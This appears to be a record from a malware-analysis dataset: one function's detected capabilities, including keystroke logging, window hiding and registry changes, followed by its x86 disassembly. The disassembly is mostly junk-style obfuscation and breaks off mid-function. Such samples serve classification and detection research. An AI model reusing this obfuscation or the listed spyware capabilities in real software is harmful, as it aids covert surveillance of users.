Function at 0x461d63
Capabilities:
Accept command line arguments
Allocate thread local storage
Check os version
Create process on windows
Delete file
Extract resource via kernel32 functions
Get disk information
Get file attributes
Get file system object information
Hide graphical window
Log keystrokes via polling
Query or enumerate registry value
Read .ini file
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x33e8
call fcn.00496f90
push esi
push edi
mov dword [ebp - 0x70c], 0
mov dword [ebp - 0x534], 0
jmp 0x461d95
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 3
jge 0x461db1
mov eax, dword [ebp - 0x534]
mov dword [ebp + eax*4 - 0x3188], 0xffff
jmp 0x461d88
mov byte [ebp - 0x248], 0
movzx eax, byte [ebp - 0x248]
test eax, eax
je 0x461ddc
push 0x112f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
mov dword [ebp - 0x70c], 2
jmp 0x461df5
mov eax, dword [ebp - 0x70c]
dec eax
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x70c], 0
jl 0x461e40
mov dword [ebp - 0x53c], 7
mov dword [ebp - 0x53c], 2
jmp 0x461e21
mov eax, dword [ebp - 0x53c]
dec eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0
jl 0x461e3e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3188], 0
je 0x461e3c
jmp 0x461e3e
jmp 0x461e14
jmp 0x461de8
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x380], 6
mov dword [ebp - 0x1db8], 0x9118158f
mov dword [ebp - 0x1dd0], 0x11e75876
mov dword [ebp - 0x1dd8], 1
mov dword [ebp - 0x1df0], 3
mov dword [ebp - 0x2150], 0xc894628a
mov dword [ebp - 0x2fbc], 0x16845925
mov dword [ebp - 0x808], 0
jmp 0x461ea6
mov eax, dword [ebp - 0x808]
inc eax
mov dword [ebp - 0x808], eax
cmp dword [ebp - 0x808], 4
jge 0x461ec2
mov eax, dword [ebp - 0x808]
mov dword [ebp + eax*4 - 0x2fcc], 0xffffffff
jmp 0x461e99
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x2c28], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x30d8], eax
cmp dword [ebp - 0x44], 0xb80b
jg 0x461ee9
mov dword [ebp - 0x1554], 1
jmp 0x461ef0
and dword [ebp - 0x1554], 0
mov eax, dword [ebp - 0x44]
imul eax, dword [ebp - 0x1554]
test eax, eax
jne 0x461f02
cmp dword [ebp - 0x44], 0
imul eax, dword [ebp - 0x44], 0x1860
cmp eax, dword [ebp - 0x44]
jl 0x461f1a
mov dword [ebp - 0x1d80], 1
jmp 0x461f21
and dword [ebp - 0x1d80], 0
cmp dword [ebp - 0x1d80], 0x8c
jge 0x461f39
mov dword [ebp - 0x1d88], 1
jmp 0x461f40
and dword [ebp - 0x1d88], 0
cmp dword [ebp - 0x1d88], 1
ja 0x461f55
mov dword [ebp - 0x1d90], 1
jmp 0x461f5c
and dword [ebp - 0x1d90], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1d90]
mov dword [ebp + eax - 0x2fcc], ecx
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x44], eax
jle 0x461f83
mov dword [ebp - 0x1d98], 1
jmp 0x461f8a
and dword [ebp - 0x1d98], 0
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x1d98]
sub ecx, dword [ebp - 0x44]
imul eax, ecx
cmp eax, 1
jg 0x461faa
mov dword [ebp - 0x1da0], 1
jmp 0x461fb1
and dword [ebp - 0x1da0], 0
cmp dword [ebp - 0x1da0], 0x7aa29676
je 0x461fc9
mov dword [ebp - 0x1da8], 1
jmp 0x461fd0
and dword [ebp - 0x1da8], 0
mov eax, dword [ebp - 0x1da8]
sub eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x380]
je 0x461fed
mov dword [ebp - 0x1db0], 1
jmp 0x461ff4
and dword [ebp - 0x1db0], 0
mov eax, dword [ebp - 0x1db0]
mov dword [ebp - 0x1db8], eax
mov eax, dword [ebp - 0x380]
cmp dword [ebp - 0x1db8], eax
jge 0x46201a
mov dword [ebp - 0x1dc0], 1
jmp 0x462021
and dword [ebp - 0x1dc0], 0
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x1dc0]
cmp eax, dword [ebp - 0x380]
jge 0x46203e
mov dword [ebp - 0x1dc8], 1
jmp 0x462045
and dword [ebp - 0x1dc8], 0
cmp dword [ebp - 0x1dc8], 0xffff
jb 0x46205d
mov dword [ebp - 0x1fa4], 1
jmp 0x462064
and dword [ebp - 0x1fa4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2fcc]
mov dword [ebp - 0x2148], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2148]
mov dword [ebp + eax - 0x2fcc], ecx
mov dword [ebp - 0x1dd0], 0xffffffff
mov eax, dword [ebp - 0x1dd0]
mov dword [ebp - 0x1dd8], eax
mov eax, dword [ebp - 0x1dd8]
sub eax, dword [ebp - 0x44]
cmp eax, 0xe26a
jne 0x4620bc
mov dword [ebp - 0x1de0], 1
jmp 0x4620c3
and dword [ebp - 0x1de0], 0
mov eax, dword [ebp - 0x1de0]
add eax, 0x55069097
cmp eax, dword [ebp - 0x380]
jge 0x4620e2
mov dword [ebp - 0x1de8], 1
jmp 0x4620e9
and dword [ebp - 0x1de8], 0
mov eax, dword [ebp - 0x1de8]
mov dword [ebp - 0x1df0], eax
mov eax, dword [ebp - 0x380]
cmp dword [ebp - 0x1df0], eax
jle 0x46210f
mov dword [ebp - 0x1df8], 1
jmp 0x462116
and dword [ebp - 0x1df8], 0
mov eax, dword [ebp - 0x380]
imul eax, dword [ebp - 0x1df8]
cmp eax, dword [ebp - 0x44]
jle 0x462134
mov dword [ebp - 0x1e00], 1
jmp 0x46213b
and dword [ebp - 0x1e00], 0
mov eax, dword [ebp - 0x1e00]
mov dword [ebp - 0x2150], eax
mov dword [ebp - 0x544], 0xf6af1124
mov dword [ebp - 0x2c30], 0xa75c19c5
mov dword [ebp - 0x2f38], 0xd3f46721
mov dword [ebp - 0x2c38], 0xa72c25fc
mov dword [ebp - 0x3074], 0x2e1dfe00
mov dword [ebp - 0x2c40], 1
mov dword [ebp - 0x2f40], 7
mov dword [ebp - 0x2c48], 0x4e703026
mov dword [ebp - 0x3130], 9
mov dword [ebp - 0x2c50], 3
mov dword [ebp - 0x2f48], 0xa32fd2d1
mov dword [ebp - 0x2f74], 1
mov dword [ebp - 0x2c88], 0
mov dword [ebp - 0x2fe0], 0xc38ec326
mov dword [ebp - 0x2fdc], 0xc38ec326
mov dword [ebp - 0x2fd8], 0xc38ec326
mov dword [ebp - 0x2fd4], 0xc38ec326
mov dword [ebp - 0x1e08], 0xfc2e
mov dword [ebp - 0x544], 0xa
jmp 0x462214
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 0x13
jge 0x462273
mov dword [ebp - 0x714], 0
jmp 0x462236
mov eax, dword [ebp - 0x714]
inc eax
mov dword [ebp - 0x714], eax
cmp dword [ebp - 0x714], 1
jge 0x462252
mov eax, dword [ebp - 0x714]
mov dword [ebp + eax*4 - 0x2158], 0xfffffff6
jmp 0x462229
mov eax, dword [ebp - 0x1e08]
dec eax
mov dword [ebp - 0x1e08], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2158], 0
je 0x462271
jmp 0x462207
jmp 0x462207
mov dword [ebp - 0x118], 0xe1757117
mov dword [ebp - 0x1e38], 0xffffffff
mov dword [ebp - 0x1e28], 0xc694a61b
mov dword [ebp - 0x2160], 0xd6a56c37
mov dword [ebp - 0x30e8], 0xffffffff
mov dword [ebp - 0x2c90], 1
mov dword [ebp - 0x2f7c], 0
or dword [ebp - 0x2640], 0xffffffff
or dword [ebp - 0x263c], 0xffffffff
or dword [ebp - 0x2638], 0xffffffff
or dword [ebp - 0x2634], 0xffffffff
lea ecx, [ebp - 0xa59]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x2630]
push eax
lea eax, [ebp - 0x2640]
push eax
lea ecx, [ebp - 0x326c]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3194]
call fcn.0042aeac
mov dword [ebp - 0x1838], 0x7af9ca3
mov dword [ebp - 0x118], 0
jmp 0x46232d
mov eax, dword [ebp - 0x118]
dec eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xfffffff8
jne 0x4624c8
mov dword [ebp - 0x1e18], 0x1f09a2b4
mov dword [ebp - 0x1830], 5
mov dword [ebp - 0x2ca0], 0
mov dword [ebp - 0x54c], 0
jmp 0x462371
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 3
jge 0x46238d
mov eax, dword [ebp - 0x54c]
mov dword [ebp + eax*4 - 0x2c9c], 0xfffffff7
jmp 0x462364
cmp dword [ebp - 0x118], 0
jne 0x4623a2
mov dword [ebp - 0x1e30], 1
jmp 0x4623a9
and dword [ebp - 0x1e30], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x118]
cmp dword [ebp + eax - 0x2c9c], ecx
jl 0x4623c9
mov dword [ebp - 0x1e10], 1
jmp 0x4623d0
and dword [ebp - 0x1e10], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2c9c]
add eax, dword [ebp - 0x1e10]
mov dword [ebp - 0x1e18], eax
mov eax, dword [ebp - 0x1e18]
mov dword [ebp - 0x3098], eax
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x2cb0], eax
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x462419
cmp dword [ebp - 0x118], 0
jne 0x462419
and dword [ebp - 0x1e20], 0
jmp 0x462423
mov dword [ebp - 0x1e20], 1
mov eax, dword [ebp - 0x1e20]
mov dword [ebp - 0x1e28], eax
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0x1e28], eax
jle 0x462449
mov dword [ebp - 0x1e40], 1
jmp 0x462450
and dword [ebp - 0x1e40], 0
mov eax, dword [ebp - 0x1e30]
mov dword [ebp - 0x1e38], eax
mov eax, dword [ebp - 0x1e38]
cmp eax, dword [ebp - 0x1e40]
je 0x462476
mov dword [ebp - 0xb5c], 1
jmp 0x46247d
and dword [ebp - 0xb5c], 0
mov eax, dword [ebp - 0xb5c]
mov dword [ebp - 0x1830], eax
mov eax, dword [ebp - 0x1830]
cmp dword [ebp - 0x118], eax
jg 0x4624a3
mov dword [ebp - 0xb64], 1
jmp 0x4624aa
and dword [ebp - 0xb64], 0
mov eax, dword [ebp - 0xb64]
mov dword [ebp - 0x2160], eax
mov eax, dword [ebp - 0x1838]
inc eax
mov dword [ebp - 0x1838], eax
jmp 0x462320
lea ecx, [ebp - 0x3194]
call fcn.0042aed2
mov dword [ebp - 0x894], 0
mov dword [ebp - 0x27c], 0xca631852
mov dword [ebp - 0xc8], 8
push 4
lea ecx, [ebp - 0xac0]
call fcn.0042ae00
mov dword [ebp - 0x21c0], 0xed761e7f
mov dword [ebp - 0x2f84], 1
mov dword [ebp - 0x2cc0], 0xffffffff
mov dword [ebp - 0x7fc], 0
jmp 0x462535
mov eax, dword [ebp - 0x7fc]
inc eax
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 4
jge 0x462557
push dword [ebp - 0x7fc]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
mov dword [eax], 4
jmp 0x462528
mov dword [ebp - 0x27c], 0
jmp 0x462570
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0xb
je 0x462979
mov dword [ebp - 0xa8], 0x3e90a624
or dword [ebp - 0x2730], 0xffffffff
or dword [ebp - 0x272c], 0xffffffff
or dword [ebp - 0x2728], 0xffffffff
or dword [ebp - 0x2724], 0xffffffff
lea ecx, [ebp - 0xa79]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x2720]
push eax
lea eax, [ebp - 0x2730]
push eax
lea ecx, [ebp - 0x3244]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2944]
call fcn.0042aeac
mov dword [ebp - 0x970], 0xd23c5ad0
mov dword [ebp - 0x1860], 0xfffffff7
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc8], 0
jmp 0x462611
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jg 0x462969
mov dword [ebp - 0x21a8], 0x6f26
mov dword [ebp - 0x21c8], 0x8f949145
push 3
lea ecx, [ebp - 0x2cac]
call fcn.0042ae00
mov dword [ebp - 0x1870], 0xe0ecf58a
mov dword [ebp - 0x554], 0
jmp 0x462662
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 3
jge 0x462684
push dword [ebp - 0x554]
lea ecx, [ebp - 0x2cac]
call fcn.0042aeee
mov dword [eax], 3
jmp 0x462655
mov dword [ebp - 0xa8], 3
jmp 0x46269d
mov eax, dword [ebp - 0xa8]
dec eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jl 0x46294c
mov dword [ebp - 0xb8c], 0
push 0
lea ecx, [ebp - 0x2944]
call fcn.0042aeee
mov dword [ebp - 0xb6c], eax
push dword [ebp - 0xc8]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
mov ecx, dword [ebp - 0xb6c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb6c]
cmp dword [eax], 0xfffffff9
jl 0x4626f9
mov dword [ebp - 0x1840], 1
jmp 0x462700
and dword [ebp - 0x1840], 0
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
mov ecx, dword [ebp - 0x1840]
cmp ecx, dword [eax]
jge 0x462727
mov dword [ebp - 0xb74], 1
jmp 0x46272e
and dword [ebp - 0xb74], 0
push dword [ebp - 0xc8]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
mov ecx, dword [ebp - 0xb74]
cmp ecx, dword [eax]
jne 0x462755
mov dword [ebp - 0x1848], 1
jmp 0x46275c
and dword [ebp - 0x1848], 0
mov eax, dword [ebp - 0xa8]
cmp eax, dword [ebp - 0x1848]
jl 0x462776
mov dword [ebp - 0xb7c], 1
jmp 0x46277d
and dword [ebp - 0xb7c], 0
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
mov ecx, dword [ebp - 0xb7c]
cmp ecx, dword [eax]
je 0x4627a4
mov dword [ebp - 0x1850], 1
jmp 0x4627ab
and dword [ebp - 0x1850], 0
mov eax, dword [ebp - 0x1850]
mov dword [ebp - 0x970], eax
cmp dword [ebp - 0x970], 0
jne 0x4627db
cmp dword [ebp - 0xa8], 0
jne 0x4627db
mov eax, 0x2f23
test eax, eax
jne 0x4627db
and dword [ebp - 0x2168], 0
jmp 0x4627e5
mov dword [ebp - 0x2168], 1
push 1
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
mov esi, dword [ebp - 0x970]
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
cmp esi, dword [eax]
jle 0x462819
mov dword [ebp - 0xb84], 1
jmp 0x462820
and dword [ebp - 0xb84], 0
mov eax, dword [ebp - 0xb84]
add eax, 0x634d
imul eax, dword [ebp - 0x21a8]
cmp eax, 0xffffffff
jne 0x462843
mov dword [ebp - 0x21b0], 1
jmp 0x46284a
and dword [ebp - 0x21b0], 0
push 0
lea ecx, [ebp - 0x2944]
call fcn.0042aeee
cmp dword [eax], 0
je 0x46287e
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
cmp dword [eax], 0
je 0x46287e
mov dword [ebp - 0x1858], 1
jmp 0x462885
and dword [ebp - 0x1858], 0
mov eax, dword [ebp - 0x1858]
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb8c]
sub eax, dword [ebp - 0x27c]
mov dword [ebp - 0x1860], eax
cmp dword [ebp - 0x1860], 0xfffffff9
jl 0x4628b8
mov dword [ebp - 0xb94], 1
jmp 0x4628bf
and dword [ebp - 0xb94], 0
cmp dword [ebp - 0xb94], 0xffffffff
jne 0x4628d4
mov dword [ebp - 0x1868], 1
jmp 0x4628db
and dword [ebp - 0x1868], 0
push dword [ebp - 0xc8]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1868]
jge 0x462902
mov dword [ebp - 0x21b8], 1
jmp 0x462909
and dword [ebp - 0x21b8], 0
push dword [ebp - 0xa8]
lea ecx, [ebp - 0xac0]
call fcn.0042aeee
mov eax, dword [ebp - 0x21c0]
cmp dword [ebp - 0x27c], eax
je 0x462934
mov dword [ebp - 0xb9c], 1
jmp 0x46293b
and dword [ebp - 0xb9c], 0
mov eax, dword [ebp - 0xb9c]
mov dword [ebp - 0x21c8], eax
jmp 0x462690
mov eax, dword [ebp - 0x1870]
dec eax
mov dword [ebp - 0x1870], eax
lea ecx, [ebp - 0x2cac]
call fcn.0042aed2
jmp 0x462604
lea ecx, [ebp - 0x2944]
call fcn.0042aed2
jmp 0x462563
mov dword [ebp - 0xc8], 0
jmp 0x462992
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x13
jl 0x4629d0
mov byte [ebp - 0x26d], 0
movzx eax, byte [ebp - 0x26d]
test eax, eax
je 0x4629c3
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
cmp dword [ebp - 0x27c], 0
je 0x4629ce
jmp 0x462985
jmp 0x462985
lea ecx, [ebp - 0xac0]
call fcn.0042aed2
mov dword [ebp - 0x1cc], 0xfffffffa
mov dword [ebp - 0x71c], 0
jmp 0x4629fe
mov eax, dword [ebp - 0x71c]
inc eax
mov dword [ebp - 0x71c], eax
cmp dword [ebp - 0x71c], 2
jge 0x462a1a
mov eax, dword [ebp - 0x71c]
mov dword [ebp + eax*4 - 0x2564], 0xfffffff8
jmp 0x4629f1
mov dword [ebp - 0x1cc], 0
jmp 0x462a33
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x19
jl 0x462aac
mov dword [ebp - 0xba4], 0xddd1
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2564], 0x13638ecf
cmp dword [ebp - 0xba4], 1
jne 0x462a6c
mov dword [ebp - 0x1878], 1
jmp 0x462a73
and dword [ebp - 0x1878], 0
mov eax, dword [ebp - 0xba4]
cmp dword [ebp - 0x1878], eax
jl 0x462a8d
mov dword [ebp - 0xbac], 1
jmp 0x462a94
and dword [ebp - 0xbac], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xbac]
mov dword [ebp + eax - 0x2564], ecx
jmp 0x462a26
mov dword [ebp - 0x1cc], 0
jmp 0x462ac5
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 1
jg 0x462b91
mov dword [ebp - 0x3128], 0xf4981ff2
mov dword [ebp - 0x2cd0], 2
mov dword [ebp - 0x2f8c], 9
mov dword [ebp - 0x2ce0], 0x2ba7b7e8
mov dword [ebp - 0x2ff4], 0x31c587c7
mov dword [ebp - 0x2ff0], 0x31c587c7
mov dword [ebp - 0x2fec], 0x31c587c7
mov dword [ebp - 0x2fe8], 0x31c587c7
push 1
lea ecx, [ebp - 0x2cbc]
call fcn.0042ae00
mov dword [ebp - 0x1880], 0x209c
mov dword [ebp - 0x55c], 0
jmp 0x462b52
mov eax, dword [ebp - 0x55c]
inc eax
mov dword [ebp - 0x55c], eax
cmp dword [ebp - 0x55c], 1
jge 0x462b74
push dword [ebp - 0x55c]
lea ecx, [ebp - 0x2cbc]
call fcn.0042aeee
mov dword [eax], 1
jmp 0x462b45
mov eax, dword [ebp - 0x1880]
inc eax
mov dword [ebp - 0x1880], eax
lea ecx, [ebp - 0x2cbc]
call fcn.0042aed2
jmp 0x462ab8
mov dword [ebp - 0x864], 0
jmp 0x462baa
mov eax, dword [ebp - 0x864]
inc eax
mov dword [ebp - 0x864], eax
cmp dword [ebp - 0x864], 3
jge 0x462bc6
mov eax, dword [ebp - 0x864]
mov dword [ebp + eax*4 - 0x31c4], 0xffff
jmp 0x462b9d
mov dword [ebp - 0x30a0], 0xfffffff9
push 1
lea ecx, [ebp - 0x2ccc]
call fcn.0042ae00
mov dword [ebp - 0x2cf0], 0
mov dword [ebp - 0x2f94], 0x9f42c60e
push 2
lea ecx, [ebp - 0x295c]
call fcn.0042ae00
mov dword [ebp - 0x138], 0
jmp 0x462c17
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 1
jge 0x462c36
push dword [ebp - 0x138]
lea ecx, [ebp - 0x2ccc]
call fcn.0042aeee
and dword [eax], 0
jmp 0x462c0a
mov dword [ebp - 0x138], 0
jmp 0x462c4f
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 2
jge 0x462c6e
push dword [ebp - 0x138]
lea ecx, [ebp - 0x295c]
call fcn.0042aeee
and dword [eax], 0
jmp 0x462c42
push 0
lea ecx, [ebp - 0x295c]
call fcn.0042aeee
mov dword [ebp - 0xbb4], eax
mov eax, dword [ebp - 0xbb4]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xbb4]
mov dword [ecx], eax
lea ecx, [ebp - 0x295c]
call fcn.0042aed2
lea ecx, [ebp - 0x2ccc]
call fcn.0042aed2
mov dword [ebp - 0x564], 1
mov dword [ebp - 0x2668], 0xa0e6
mov dword [ebp - 0x2664], 0xa0e6
mov dword [ebp - 0x2660], 0xa0e6
mov dword [ebp - 0x265c], 0xa0e6
lea ecx, [ebp - 0xa51]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x2658]
push eax
lea eax, [ebp - 0x2668]
push eax
lea ecx, [ebp - 0x32ec]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x31ac]
call fcn.0042aeac
mov dword [ebp - 0x564], 0
jmp 0x462d28
mov eax, dword [ebp - 0x564]
inc eax
mov dword [ebp - 0x564], eax
cmp dword [ebp - 0x564], 0x1c
jge 0x462e30
mov dword [ebp - 0x2d00], 1
mov dword [ebp - 0x724], 0
jmp 0x462d58
mov eax, dword [ebp - 0x724]
inc eax
mov dword [ebp - 0x724], eax
cmp dword [ebp - 0x724], 2
jge 0x462d74
mov eax, dword [ebp - 0x724]
mov dword [ebp + eax*4 - 0x1f04], 0x876942a1
jmp 0x462d4b
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1f04], 3
jmp 0x462da2
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1f04]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x1f04], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1f04], 0
jl 0x462e2b
push 1
lea ecx, [ebp - 0x2974]
call fcn.0042ae00
mov dword [ebp - 0x56c], 0
jmp 0x462dd8
mov eax, dword [ebp - 0x56c]
inc eax
mov dword [ebp - 0x56c], eax
cmp dword [ebp - 0x56c], 1
jge 0x462df7
push dword [ebp - 0x56c]
lea ecx, [ebp - 0x2974]
call fcn.0042aeee
or dword [eax], 0xffffffff
jmp 0x462dcb
push 0
lea ecx, [ebp - 0x2974]
call fcn.0042aeee
mov dword [ebp - 0x1888], eax
mov eax, dword [ebp - 0x1888]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1888]
mov dword [ecx], eax
lea ecx, [ebp - 0x2974]
call fcn.0042aed2
jmp 0x462d87
jmp 0x462d1b
mov byte [ebp - 0x26f], 0
movzx eax, byte [ebp - 0x26f]
test eax, eax
je 0x462e4a
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea ecx, [ebp - 0x31ac]
call fcn.0042aed2
mov byte [ebp - 0x271], 0
movzx eax, byte [ebp - 0x271]
test eax, eax
je 0x4634f2
mov dword [ebp - 0x94], 0x6af1124f
mov dword [ebp - 0x574], 0x2e1dfe00
mov dword [ebp - 0x57c], 7
mov dword [ebp - 0xb04], 0x665969a2
mov dword [ebp - 0x94], 0
jmp 0x462eac
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x17
jle 0x4634d9
mov dword [ebp - 0x284], 0xffffffff
mov dword [ebp - 0x40], 0xc326874b
mov dword [ebp - 0x1d8], 8
mov dword [ebp - 0x804], 0
jmp 0x462eed
mov eax, dword [ebp - 0x804]
inc eax
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 1
jge 0x462f09
mov eax, dword [ebp - 0x804]
mov dword [ebp + eax*4 - 0x404], 6
jmp 0x462ee0
cmp dword [ebp - 0x94], 0
jne 0x462f22
push 0xfffffffffffffffa
pop eax
test eax, eax
jne 0x462f22
and dword [ebp - 0xbbc], 0
jmp 0x462f2c
mov dword [ebp - 0xbbc], 1
mov eax, dword [ebp - 0x94]
sub eax, dword [ebp - 0xbbc]
mov dword [ebp - 0x574], eax
je 0x462f55
cmp dword [ebp - 0x284], 0
je 0x462f55
mov dword [ebp - 0xbc4], 1
jmp 0x462f5c
and dword [ebp - 0xbc4], 0
imul eax, dword [ebp - 0x57c], 0x7367
cmp eax, 0x14f98caf
jge 0x462f79
mov dword [ebp - 0x1890], 1
jmp 0x462f80
and dword [ebp - 0x1890], 0
mov eax, dword [ebp - 0x284]
cmp dword [ebp - 0x1890], eax
jg 0x462f9a
mov dword [ebp - 0x1898], 1
jmp 0x462fa1
and dword [ebp - 0x1898], 0
mov eax, dword [ebp - 0xbc4]
add eax, dword [ebp - 0x1898]
mov dword [ebp - 0xb04], eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x1d8], 0
jne 0x46311b
cmp dword [ebp - 0xb04], 0
je 0x463109
cmp dword [ebp - 0x40], 0x61302d9c
jne 0x462feb
mov dword [ebp - 0xbcc], 1
jmp 0x462ff2
and dword [ebp - 0xbcc], 0
cmp dword [ebp - 0xbcc], 0x5708880d
jne 0x46300a
mov dword [ebp - 0x18a0], 1
jmp 0x463011
and dword [ebp - 0x18a0], 0
mov eax, dword [ebp - 0x574]
cmp dword [ebp - 0x18a0], eax
jg 0x46302b
mov dword [ebp - 0xbd4], 1
jmp 0x463032
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0xbd4]
jle 0x463049
mov dword [ebp - 0x18a8], 1
jmp 0x463050
and dword [ebp - 0x18a8], 0
mov eax, dword [ebp - 0x284]
cmp dword [ebp - 0x18a8], eax
jle 0x46306a
mov dword [ebp - 0xbdc], 1
jmp 0x463071
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0x284]
imul eax, dword [ebp - 0xbdc]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0xb04]
cmp dword [ebp - 0x40], eax
jge 0x463093
cmp dword [ebp - 0x1d8], 0
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x30f0], eax
cmp dword [ebp - 0x40], 0
je 0x4630b7
cmp dword [ebp - 0x40], 0
je 0x4630b7
mov dword [ebp - 0x18b0], 1
jmp 0x4630be
and dword [ebp - 0x18b0], 0
mov eax, dword [ebp - 0x574]
cmp dword [ebp - 0x18b0], eax
jle 0x4630d8
mov dword [ebp - 0xbe4], 1
jmp 0x4630df
and dword [ebp - 0xbe4], 0
cmp dword [ebp - 0xbe4], 0xa40a7b48
jb 0x4630f7
mov dword [ebp - 0x21d0], 1
jmp 0x4630fe
and dword [ebp - 0x21d0], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x57c], eax
jl 0x46311b
cmp dword [ebp - 0x94], 0
jne 0x46311b
and dword [ebp - 0x21d8], 0
jmp 0x463125
mov dword [ebp - 0x21d8], 1
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x2d10], eax
xor eax, eax
inc eax
cmp eax, 0x10f121ad
jae 0x463144
cmp dword [ebp - 0x94], 0
jne 0x463156
cmp dword [ebp - 0x284], 0
jne 0x463156
and dword [ebp - 0x18b8], 0
jmp 0x463160
mov dword [ebp - 0x18b8], 1
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x18b8], eax
je 0x46317a
mov dword [ebp - 0xbec], 1
jmp 0x463181
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0x94]
imul eax, dword [ebp - 0xbec]
add eax, dword [ebp - 0x1d8]
cmp eax, dword [ebp - 0x1d8]
jge 0x4631a8
mov dword [ebp - 0x18c0], 1
jmp 0x4631af
and dword [ebp - 0x18c0], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x18c0], eax
jne 0x4631c9
mov dword [ebp - 0x978], 1
jmp 0x4631d0
and dword [ebp - 0x978], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x978]
mov dword [ebp + eax - 0x404], ecx
cmp dword [ebp - 0x978], 0
jne 0x4631fe
cmp dword [ebp - 0x57c], 0
jne 0x4631fe
